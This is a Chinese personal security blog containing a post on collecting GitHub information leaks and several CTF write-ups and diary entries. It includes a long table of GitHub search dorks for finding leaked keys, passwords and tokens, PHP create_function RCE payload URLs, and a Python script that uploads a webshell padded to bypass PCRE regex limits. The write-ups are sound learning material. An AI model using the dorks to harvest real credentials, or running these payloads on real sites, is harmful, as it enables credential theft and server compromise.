harmoc

作者： <span>harmoc</span>

前言

刚刚过去的学期有在cncert外派，做了一点辅助工作，做的最多仔细想想还是开源信息的泄露收集。借这段时间的经历，就想稍微总结一下Github等平台的信息泄露收集。

工作中的信息泄露收集

因为cert那边需要的是全国政企的开源信息泄露，而且要最终拿到敏感数据（比如身份证号之类的），和平时渗透时候的还是有些区别（漏洞不是目的，数据才是QAQ 我怎么越想越觉得像黑产），先说下俺日常做的，找某一类组织的信息泄露的流程。

折腾了各种各样的抓信息方式之后，感觉现在的最方便的方式就还是直接用Github搜关键词，什么GISL，什么携程云安全，全都不适合收集信息用（当然他们本来就是给企业自查的233）。至于关键词，我这边单搜项目相关的中文有奇效。日常就是分解单位的属性作标签，组合，找敏感的repo。

经常能一个Tag或Tag组合找到好多信息泄露，像全国的政协站，一省不差，全都有敏感信息，外包政协网站建设的公司一点安全意识没有，全员无过滤上传Github。

定位到某个repo之后，弄下来本地搜搜http:// 、.do之类的，其实比预想中要容易找到暴露在公网的接口、测试站等等，后面就是常规渗透了。

说起来其实这项工作实际内容并不多，找到一个有效的流程就能一直用下去，也没什么太大长进。下学期主力还是得做漏洞挖掘。

渗透向信息泄露收集

在丁牛实习时候，最大的收获大概是对渗透的认识，也就是李哥挂在嘴边的渗透测试的本质是信息收集。这学期的开源信息收集工作也算是漫漫信息收集路的一个小分支，感觉对个人成长也算有些帮助。

渗透向的话，github-dorks的list这种类型的就很好用

Dork	Description
filename:.npmrc _auth	npm registry authentication data
filename:.dockercfg auth	docker registry authentication data
extension:pem private	private keys
extension:ppk private	puttygen private keys
filename:id_rsa or filename:id_dsa	private ssh keys
extension:sql mysql dump	mysql dump
extension:sql mysql dump password	mysql dump look for password; you can try varieties
filename:credentials aws_access_key_id	might return false negatives with dummy values
filename:.s3cfg	might return false negatives with dummy values
filename:wp-config.php	wordpress config files
filename:.htpasswd	htpasswd files
filename:.env DB_USERNAME NOT homestead	laravel .env (CI, various ruby based frameworks too)
filename:.env MAIL_HOST=smtp.gmail.com	gmail smtp configuration (try different smtp services too)
filename:.git-credentials	git credentials store, add NOT username for more valid results
PT_TOKEN language:bash	pivotaltracker tokens
filename:.bashrc password	search for passwords, etc. in .bashrc (try with .bash_profile too)
filename:.bashrc mailchimp	variation of above (try more variations)
filename:.bash_profile aws	aws access and secret keys
rds.amazonaws.com password	Amazon RDS possible credentials
extension:json api.forecast.io	try variations, find api keys/secrets
extension:json mongolab.com	mongolab credentials in json configs
extension:yaml mongolab.com	mongolab credentials in yaml configs (try with yml)
jsforce extension:js conn.login	possible salesforce credentials in nodejs projects
SF_USERNAME salesforce	possible salesforce credentials
filename:.tugboat NOT _tugboat	Digital Ocean tugboat config
HEROKU_API_KEY language:shell	Heroku api keys
HEROKU_API_KEY language:json	Heroku api keys in json files
filename:.netrc password	netrc that possibly holds sensitive credentials
filename:_netrc password	netrc that possibly holds sensitive credentials
filename:hub oauth_token	hub config that stores github tokens
filename:robomongo.json	mongodb credentials file used by robomongo
filename:filezilla.xml Pass	filezilla config file with possible user/pass to ftp
filename:recentservers.xml Pass	filezilla config file with possible user/pass to ftp
filename:config.json auths	docker registry authentication data
filename:idea14.key	IntelliJ Idea 14 key, try variations for other versions
filename:config irc_pass	possible IRC config
filename:connections.xml	possible db connections configuration, try variations to be specific
filename:express.conf path:.openshift	openshift config, only email and server thou
filename:.pgpass	PostgreSQL file which can contain passwords
filename:proftpdpasswd	Usernames and passwords of proftpd created by cpanel
filename:ventrilo_srv.ini	Ventrilo configuration
[WFClient] Password= extension:ica	WinFrame-Client infos needed by users to connect toCitrix Application Servers
filename:server.cfg rcon password	Counter Strike RCON Passwords
JEKYLL_GITHUB_TOKEN	Github tokens used for jekyll
filename:.bash_history	Bash history file
filename:.cshrc	RC file for csh shell
filename:.history	history file (often used by many tools)
filename:.sh_history	korn shell history
filename:sshd_config	OpenSSH server config
filename:dhcpd.conf	DHCP service config
filename:prod.exs NOT prod.secret.exs	Phoenix prod configuration file
filename:prod.secret.exs	Phoenix prod secret
filename:configuration.php JConfig password	Joomla configuration file
filename:config.php dbpasswd	PHP application database password (e.g., phpBB forum software)
path:sites databases password	Drupal website database credentials
shodan_api_key language:python	Shodan API keys (try other languages too)
filename:shadow path:etc	Contains encrypted passwords and account information of new unix systems
filename:passwd path:etc	Contains user account information including encrypted passwords of traditional unix systems
extension:avastlic "support.avast.com"	Contains license keys for Avast! Antivirus
filename:dbeaver-data-sources.xml	DBeaver config containing MySQL Credentials
filename:.esmtprc password	esmtp configuration
extension:json googleusercontent client_secret	OAuth credentials for accessing Google APIs
HOMEBREW_GITHUB_API_TOKEN language:shell	Github token usually set by homebrew users
xoxp OR xoxb	Slack bot and private tokens
.mlab.com password	MLAB Hosted MongoDB Credentials
filename:logins.json	Firefox saved password collection (key3.db usually in same repo)
filename:CCCam.cfg	CCCam Server config file
msg nickserv identify filename:config	Possible IRC login passwords
filename:settings.py SECRET_KEY	Django secret keys (usually allows for session hijacking, RCE, etc)
filename:secrets.yml password	Usernames/passwords, Rails applications
filename:master.key path:config	Rails master key (used for decrypting `credentials.yml.enc` for Rails 5.2+)
filename:deployment-config.json	Created by sftp-deployment for Atom, contains server details and credentials
filename:.ftpconfig	Created by remote-ssh for Atom, contains SFTP/SSH server details and credentials
filename:.remote-sync.json	Created by remote-sync for Atom, contains FTP and/or SCP/SFTP/SSH server details and credentials
filename:sftp.json path:.vscode	Created by vscode-sftp for VSCode, contains SFTP/SSH server details and credentails
filename:sftp-config.json	Created by SFTP for Sublime Text, contains FTP/FTPS or SFTP/SSH server details and credentials
filename:WebServers.xml	Created by Jetbrains IDEs, contains webserver credentials with encoded passwords (not encrypted!)

遇见目标看看目标指纹，照猫画虎，弄几个关键字扫一波，说不定就有收获，像GitMiner这种就是更为简单粗暴的扫描器。

信息泄露这种东西，除了防不胜防的那类，只要安全意识好些就鲜有发生。更何况，各个组织的安全部门都会长期自查，像GISL、携程云安全的Github监控，全是自查向的工具，一旦有信息泄露直接处理掉了。当然，要是自己处理慢，被人先拿到数据就没办法了。

写到现在，也实在不能说开源信息泄露是信息收集多有效的部分，只能说是有用的一环。还是记着这些东西，说不定哪个场景就有奇效，像hz在黄鹤杯用git history解出3000分题的操作，啥操作还得看人使。

Write up

中科大hacker…

2019年10月22日2019年10月22日
by harmoc

前言

上个周看了几天中科大的hackergame，题目很有趣，记录一下游戏体验。

白与夜

stegsolve反转图片色彩即可

信息安全2077

抓包看一下/flag.txt，返回的请求中有Last-Modified: Fri, 01 Oct 2077 00:00:00 GMT,自己的包里会有If-Unmodified-Since,查一下这两个头会了解到，把If-Unmodified-Since的时间改到2077后就完事了。
这题贼简单，可问题是我对着根目录分析了n久，我说为啥怎么改都没啥变化。。卡了好久。。。mdzz

宇宙终极问题1

42，百度之，即得。

网页读取器

Web手失格，我不配打Web。

scheme:[//authority]path[?query][#fragment]

这道题我做了两天。。。一直在用hackbar，然后忘了URLEncode。

达拉崩吧大冒险

买鸡时候可以买负数个，然后战斗力会变负，负到一定程度他就正了，wz大佬说这叫整数溢出。
但要从Web角度讲，这更多是个逻辑洞，以后得注意一下相关的逻辑，就比如这种value是否能存在负值。

Happy LUG

首先，emoji域名本质就是它的Punycode编码
😂.hack.ustclug.org==xn--g28h.hack.ustclug.org
既然域名浏览器无法访问，那就需要考虑一下A记录以外的记录。nslookup查txt记录即得。

nslookup -qt=type domain [dns-server]

type备忘一下：

A 地址记录
AAAA 地址记录
AFSDB Andrew文件系统数据库服务器记录
ATMA ATM地址记录
CNAME 别名记录
HINFO 硬件配置记录，包括CPU、操作系统信息
ISDN 域名对应的ISDN号码
MB 存放指定邮箱的服务器
MG 邮件组记录
MINFO 邮件组和邮箱的信息记录
MR 改名的邮箱记录
MX 邮件服务器记录
NS 名字服务器记录
PTR 反向记录
RP 负责人记录
RT 路由穿透记录
SRV TCP服务器信息记录
TXT 域名对应的文本信息
X25 域名对应的X.25地址记录

正则验证器

ReDos
题设要求正则字符数不大于6，String数不大于24，从网上找的样例正则都是五位和七位，就试着五位的加个$符，然后就过了2333
含有这五个的会有ReDos现象：

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} | for x > 10

其实也仅限于NFA的正则，这就和p神之前的Code-Breaking Puzzles里的Pcrewaf一个原理。

三教奇妙夜

Potplayer牛逼！场景浏览器看着找炒鸡方便。最后卡我的是一直没意识到最后几帧有字符，痛失一血。

我想有个家

chroot就完事了，但是套娃题真的烦。
先一要求有几个文件夹，sandbox里创建就好。
又要求不能有几个文件夹，里面有/root、/etc之类的就很烦，sandbox里没法执行命令。
之后我记得是要求有个Microphone，里面写文件另一个文件里能看，软链接完事。
再然后要在一个文件里读到当前时间，呵呵，运行到这儿需要9s，文件里写个时间，提前9s执行就完事了。
最后，要执行一个sleep(10),C写一个编译就可以了，但注意权限需另行配置。

后记

贼菜，但这个打的还有点开心。还是不够热情，做着做着就不想做了，而且Web+Misc始终是有局限的，有时候也很迷茫以后的路该怎么走。
算了算了，先把Web弄好再说。话说俺cert的项目是带薪日站（cert还给俺提供安全证明），超开心。

Security notes

黄鹤杯-可信计算C…

2019年9月22日2019年9月22日
by harmoc

前言

19号本着武汉旅游团的定位去打了黄鹤杯，赛前折腾了一天可信计算的框架，然后打比赛一点没用到。QAQ
还是稍微记录一下这几天学到的一些东西。

CUBE环境搭建

本来以为是题目核心但比赛当天基本没怎么用到的迷惑框架。但其实还感觉这东西蛮有意思的。主办方给的文件里有三个东西需要起。

cube-1.3
cube-logintest
cube-tcm

分别是本体、基本业务逻辑测试、可信密码模块模拟器，起就依照文档按图索骥就完事了。

事后就想谈谈可信计算的一些个人观感：私以为，这个东西和态势感知类似，都是那种一眼看上去没什么用，仔细想想还挺有用，但再深究一下确实没有那么有用的东西。的确，让可以运行的程序都必须是安全的，这看上去很美。但白名单的思想毕竟有它局限性，将防御的视角收窄的确会安全一些，但一定会看不见很多美妙的东西。
不过，它和态势感知也都是高技术的产物，起码是个尝试，这种尝试多起来之后，总能找到一个极为优秀的解。

题型随感

这场比赛有六道传统CTF题，Crypto、Web、PWN各二；三道云安全相关题，解出Crypto、Web、PWN的题获得对应分类之上的云安全题解题资格。但遗憾的是，Web和PWN的云安全题直到最后也没有放出来。

Web

主办方给出的文档里有题目的大概方向。如是：

现场看时，Web1名为Smarty，是一个get ip的页面，有两个页面链接在首页列出:

x.x.x.x/api
x.x.x.x/xff

而后抓包后加xff头会发现xff头存在SSTI，这时才明白smarty是啥意思。。。测试几个payload后会发现{php}标签被过滤，然后S酱一通file_get_content、file_put_content，读文件写马一气呵成。发现有disable_function，蚁剑插件绕过之，出。

在这里，发现自己看东西要比sissel慢很多，很多点我慢慢也能看出来，但s酱基本秒出。Orzzzz之余，确实感觉自己经验尚浅，要多看题和看站。。。

第二题要背上黑锅，在ssrf可以RCE之后，把s酱误导向了提权，没有注意到flag本就是644，可以直接读，哭笑不得中下班QAQ

旁观HZ疯狂解出Crypto

HZ大佬巧用git history，连a三题，3000分的密码学云安全全场最后一人解出，HZ牛逼！
这个思路一定得记住，确实巧妙，其他队赛后过来问到真相都快哭了。我今后就是第一HZ吹。

后记

拿到了天枢历史上最高的一次奖金，沉甸甸的压力与高悬的达摩克利斯之剑。

Security notes

CyBRICS-C…

2019年7月25日2019年7月29日
by harmoc

前言

因为前段时期的戒严，VPS 跪了一段时间，Blog也没更过。。。感觉咸鱼了一整个暑假课阶段，还好在末尾打的CyBRICS CTF 还挺开心。记录一下部分题目Write UP，队友巨佬们tql.

顺便纪念一下第一天晚上短暂的第一2333：

Tone

视频里重点在电话按键音用au一个个对着表分析的

分析出来是这个数222666227774447777777733222777668866666255533355524
但是记录的时候忘记了记录间隔，又重新看了一遍间隔QAQ
加上间隔的因素，由于只有1-9的数字，所以考虑多次击键密码（SMS模式ABC）
最终 => cybrics{secrettonalflag}

(其实后来发现有错误，真实的是
222999227774442227777777733222777338866666255533355524
但我们连猜带蒙也出来了2333)

Bitkoff Bank

这题其实有点意思，大家注册时候第一反应的admin admin账户是共通的，所以存在不用做题直接摘桃子的可能23333
最后我们用的是BTC和美元的互转来增加总额，跑了大概一个小时出了，但同样有趣的是，有的人这么做是总额减少的。。。有待继续研究。

Battleships

我们果然是非常规队伍，这道题竟然是硬解解出来的。Battleships是一种海战棋，就是你打我一炮，我打你一炮那种，问题是对方打我们一打就是15炮，所以直接做很困难。
但困难不会针对我们的大佬，经大佬判断17乘17的棋盘其实是有一定的机会赢的！！！然后就真赢了！！！！
zmy大佬好像是用的正规解法，也就是存档改档读档的方法出的。回头看看他们Write up到底咋回事。

Sender

拿到手是这么个txt：

220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
EHLO localhost
250-ugm.cybrics.net
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
ZmF3a2Vz
334 UGFzc3dvcmQ6 # Username
Q29tYmluNHQxb25YWFk= # Password
235 2.7.0 Authentication successful
MAIL FROM: fawkes@ugm.cybrics.net
250 2.1.0 Ok
RCPT TO: area51@af.mil
250 2.1.5 Ok
DATA
354 End data with .
From: fawkes fawkes@ugm.cybrics.net
To: Area51 area51@af.mil
Subject: add - archive pw
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
.
250 2.0.0 Ok: queued as C4D593E8B6
QUIT
221 2.0.0 Bye

显然，是道邮件相关的题。把里面base64部分解码，能得到：

334 Username:fawkes

334 Password:Combin4t1onXXY

邮件内容16进制解码可得：

btw.
password for the archive with flag: crack0Weston88vertebra
cheers!

扫一下ugm.cybrics.net能110端口即POP3开着，先用base64解出的账号密码进行验证，而后就是拉取信息了，里面是个压缩包。拿到之后用邮件内容的password解之。即得Flag。

Paranoid

这题是个取证题，题目给了个数据包。导出HTTP的部分之后，搜了一下文件中的敏感字段，比如Password、KEY。

这里比较坑的一点就是，在查找Password时会有一个假密码，但仔细分析会发现这个密码后面同时有一个password_confirm字段，显然，这是攻击者尝试注册时候的包。最后查KEY的时候发现

WLAN_AP_WEP_KEY1=Xi1nvy5KGSgI2&

以它作为WEP密钥，会在数据包内发现更多的请求。

如法炮制，继续查找，会发现一个新的可疑字段，即：

WLAN_AP_WPA_PSK=2_RGR_xO-uiJFiAxdA33-PsdanuK&

这就是WPA的解密密钥，二次解密后，即可直接查到flag。

做了一半的题，被卡在了视频大小限制，第二天的解题混乱中不了了之了。

根据我们逸飞大佬在群里的发言(解这道题用了Pr、Ae、Au、小丸工具箱)，他应该是在视频上加了绿点，然后转化，压缩。（大佬太巨了，什么都会

但今天看Nu1L公布的WP，发现了他们的操作感觉也不错，他们加的字幕！！！（我怎么就想不到.jpg 加字幕大小肯定不大呀
然后 @Telescopy转化下交上就完事了。

Write up

Starctf20…

2019年5月9日
by harmoc

前言之前

vps因为误操作崩了。。。快照在写这篇之前，有点难过QAQ。以后再也不随便在后台写了，不如本地写完copy上来稳。

前言

记录一下第一次在天枢打比赛的感受，虽说只有一道题是自己解出来的QAQ 不过好歹没算是明显拖后腿2333

Misc--She

首先拿到文件之后发现是一个rpg游戏，进去后只有四个房间，自左上至右下暂且命名为1234，1房间可以小幅刷flag和买东西，24无用，3里面是一只鸡，攻击奇高，但是角色会先攻击。所以就尝试去修改1中flag量然后买东西加攻击防御或直接修改攻击力来通过那只鸡。

通过一个xp转json的小工具将存数据的rxdata文件解读(https://gitlab.com/gxm/xp2json)，可以转为可读的json，在转化后data文件夹下所有数据文件中搜索flag字段，会发现map005文件中会有1房间中刷flag量的字段，修改之，再用json2xp.rb转成原格式，但是，单独修改文件的话会报缺少mapinfo文件的错误，说明是map05文件中与mapinfo有关联，两个一并转即可。但是，这里有个陷阱，两个一并覆盖入原文件的话启动游戏会报错，就曾经被卡在这儿。

后来又想到可以改武器攻击力来修改人物攻击，就通过修改weapon文件中ATK字段修改攻击力为99999.

但这时遇到了上文同样的问题，也是需要同时转化连带mapinfo的两个文件，但这次想到只把weapon文件覆盖的到了原文件中，成功运行。（推测上一种修改方式理应可行）

一刀砍死那只鸡之后，进入隐藏门，会发现一只蝙蝠让我们打开所有的门，于是乎数次遍历门，终于能开的全部开开启，记录打开门后宝箱所显示的数字。最终的门内有一面镜子，镜子告诉我们flag就是宝箱数字的md5：

213697==>d6f3fdffbcb462607878af65d059f274

flag：*CTF{d6f3fdffbcb462607878af65d059f274}

Misc--Otaku

拿到之后是个压缩包，里面有一个压缩包和一个word文档，解压word文档，比对document.xml与原文本差异，而后以差异文本作为明文，明文攻击解开压缩包，里面有张薇尔莉特图，Stegsolve查看LSB信息即得flag

Web--Mywebsql

这道题首先就是一个已有漏洞的复现，不再赘述(https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md)

然后进目录之后发现有一个readflag和一个flag，flag自然是不能直接访问，readflag是让极短时间算个数，亨利大佬写了个脚本秒算的。不过看有的队是分析了下readflag，发现用的ualarm函数，用trap "" 14让函数不执行以得到充分时间算数。

~~写第二遍果然还是不想写，不写了，写个大概就这样吧~~

随笔

小结

2019年3月16日2019年3月22日
by harmoc

进入大四，被生活的恶意催着去加快生活。

一年间，考研和考研的时间内发生了太多让人自觉经历了很多的事，很多事物也在知觉不知觉地离开我们这代人。小时候出现在自己课本里的余光中，小说里的金庸，太多童年的印记消隐。让人恍惚间觉得，是不是世界突然的残忍，还是今后的生活也将面临更多的难过。

大一、大二甚至大三都突然变得可亲，他们有现在所没有的余裕和时间，还能毫不紧张地想自己到底想走什么样的路。这学期开学时，朋友发了一句”仰天大笑出门去，拔剑四顾心茫然“，可以说贴切的很。前几年有个蛮恶心蛮尴尬的句子：剑未佩妥，出门已是江湖。亲身经历之时，也能感到矫情之余的迷茫。

考研初试后，迷茫地恐慌了两天，在招聘站上接了份实习，体验北漂。至今已经三个多月，还算庆幸遇到了一群新人，组内上下谁都不算老油条，谁都在学习和提高，谁也都待人以诚。接触了很多以前想学没有行动力或时间的技术，做了挺多以前眼巴巴想做又没资源的项目，有现实催着去研究，有工作彰显上学时的单纯，还算挺好。

随笔

渗透测试实习初感

2019年1月24日2019年1月24日
by harmoc

考完研之后，经历了两天的空虚迷茫期，终于从宿舍床上爬起来，在某招聘站上挂了简历，承蒙厚爱，又两三天后便接了北京一家半国家队创业公司的渗透测试实习。

入职大半个月，感觉体验还是颇丰。北漂这一原本对我来说不过是戏谑的说法，也变得有些真实残酷。原本住在公司宿舍，上班起床就是。可在前些天新疆出差之际，公司搬去了中关村一圈，于是乎，真真正正过上了早起通勤，上下班打卡的北漂经典日子。希望不要沦落到有一天去住地下室（笑

来公司第二天，就开始了人生中第一个渗透测试项目，一个被测过好多轮的子域，嗯，接近零输出。第一个项目未完就被安排到新疆出差安服，新疆当真严格，个中体验，未经历者实难共情。不过，新疆的牛羊实在美味。

渗透测试和打CTF确实不太一样呢，就像很多师傅都说过的那样，CTF是确定有漏洞在那，找到它利用就好，可能有很复杂的限制，但，是题目便是一定可解的。渗透不同，也许整一个流程都用不到很艰深的利用方式，但思路是始终要明确，要按自己的思路流程去把目标测试下来。CTF或许很仰仗灵感，但实际渗透或许很强调韧性，所谓APT，Advanced Persistent Threat。

至于安全服务，嗯...绝非吾志。

考研成绩还有不到一月就出来了，昨天去北邮又转了一圈，路上恐慌迷茫，到地方却感觉笃定了不少。就等着吧。

嗯，还有一周，回家过年。

Write up

Code-Brea…

2018年12月26日2019年1月3日
by harmoc

前言

考研考的不知道怎么样，没对也不想对答案。姑且是接了份渗透实习，第一次社会生活就要开始了么。。。

公司大佬据说会非常多，虽然只是实习但也不想拖人家后腿，进公司战队之后，我还想一雪前耻，堂堂正正地和强队们一决胜负呢。

果然还是很喜欢很喜欢CTF，最初的恢复和突破也想在这儿（其实业务渗透我自己也不好练习）。

11月中旬，虽然我没时间玩，但还是听说了P神知识星球的审计Puzzles。考研之前，为了激励自己，狠狠心把审计小密圈买了。考研之后，初步学习了一些trick之后，感觉P神他们真的是把代码审计玩出花儿来了。

加油~~~

easy_function

无题干，仅一URL，一代码而已。

<?php
$action = $_GET['action'] ?? ''; 
$arg = $_GET['arg'] ?? '';       

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

给了两个参数，如果被正则匹配到，什么都不会发生，否则就让action的第二个参数为arg，意味着可能导致命令执行。

两个核心trick：

action不能只由字母和数字组成。
action应该是第二个参数容易被利用的函数。

遗憾的是，现在毕竟离开赛太久，在知识星球第一题整个被解析透了。感觉思考深。。。

第一个trick的解法：

命名空间问题，PHP里默认命名空间是\，调函数时候其实都是相对路径，绝对路径就是\funcion() ,加个%5c就是了。

第二个：

核心就在create_function函数第二个参数放$_GET['code']可以直接RCE。主要因为这函数本身执行就利用了闭合。所以我们自行闭合就可能引发注入。

此函数详细利用方式如是：http://blog.51cto.com/lovexm/1743442

不过，对于我这种菜鸡，还一个难点在于怎么读flag。。。

PHP为什么单单print就有这么多种。。。

师傅们的payload：

http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*`

http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/*

http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

easy_pcrewaf

因为之前师傅们的剧透，上一道题还有误以为自己能做出来的侥幸。这一道题就是一记重重的耳光了。

代码如是：

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

这道题来来回回审了好几遍，感觉我PHP就是一团糟。
首先就不明白is_php到底是干什么的，手册里也没查到，最终才发现是CodeIgniter的函数，判断PHP版本，这里应该是用为判断是否为PHP代码。
明白这一点之后，整个waf的思路就比较清晰了。正则匹配输入内容，不含有php代码则写入文件。绕过此waf则需突破此限制。
这trick打死我也没想出来。。。最终还是看了p神的讲解。居然是要利用正则回溯（图是p神自己blog的：

意思是，正则引擎分两种DFA（确定性有限状态自动机）与 NFA（非确定性有限状态自动机）就像学数据结构时不同教材所用的不同计算next数组方法。一种是从前往后逐步递增式的匹配，一种是从后往前逐步回溯。后者应用广泛，比如题干的pcre库即用此方式。于是乎，此题中核心trick出现--pcre.backtrack_limitpcre为了防止正则无限回溯，设置此回溯次数限制。

默认回溯限制为100w，故而在100w个字符中插入shell即可绕过。

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_GET[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

p神最初里面写的是POST，那样直接post数据读回显即可，我一开始没想明白，给改成了GET，手动浏览器读的flag。

http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

这道题，无论是题干还是p神wp中出现的一些小细节均昭示其开发水平不逊色一般开发岗，嗯，有所启示。

未完待续

参考

https://t.zsxq.com/vRniiie P神的小密圈

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html P神blog

https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/ kingkk师傅

https://blog.csdn.net/fnmsd/article/details/84556522 fnmsd师傅

https://www.jianshu.com/p/748749d38fb8 theKingOfNight师傅

随笔

旁观

2018年11月25日2018年12月26日
by harmoc

算是大半年没碰安全了，最近的比赛基本一点没碰，不是不想，实在不敢，考研个中心酸。

按照一周写篇令人满意的作文的计划，今儿下午去批改网练了篇essay，唉，改了几稿也就八十来分的样子。今天数学做的分数虽不高，但终于摆脱了绝望感，慢慢的又上了路。政治选择普遍能上40，稳30了，还不够。803还好多东西要准备。总之，考研准备在绝望中好歹还透着点希望，继续努力就是。

可令人怅然的又远不止此。随便看了看先知，瞄了一眼最近比赛的write up，发现新东西真的多了。感觉跟上技术新边界又要耗费一段时间。合约审计、逆向已经成了常规题型，XXE，反序列化比比皆是。

想学合约审计，想follow新洞，想尝试下pwn。看圈里热火朝天，又只得决心继续冷眼旁观。

作者： <span>harmoc</span>

前言

工作中的信息泄露收集

渗透向信息泄露收集

前言

Warm up

强网杯-随便注

easy-tornado

强网杯2019-高明的黑客

admin

easySQL

Hack World

check in

ikun

Online Tool

pythonginx

easyPHP

前言

白与夜

信息安全2077

宇宙终极问题1

网页读取器

达拉崩吧大冒险

Happy LUG

正则验证器

三教奇妙夜

我想有个家

后记

前言

CUBE环境搭建

题型随感

Web

旁观HZ疯狂解出Crypto

后记

前言

Tone

Bitkoff Bank

Battleships

Sender

Paranoid

Telegram

前言之前

前言

Misc--She

Misc--Otaku

Web--Mywebsql

前言

easy_function

easy_pcrewaf

未完待续

参考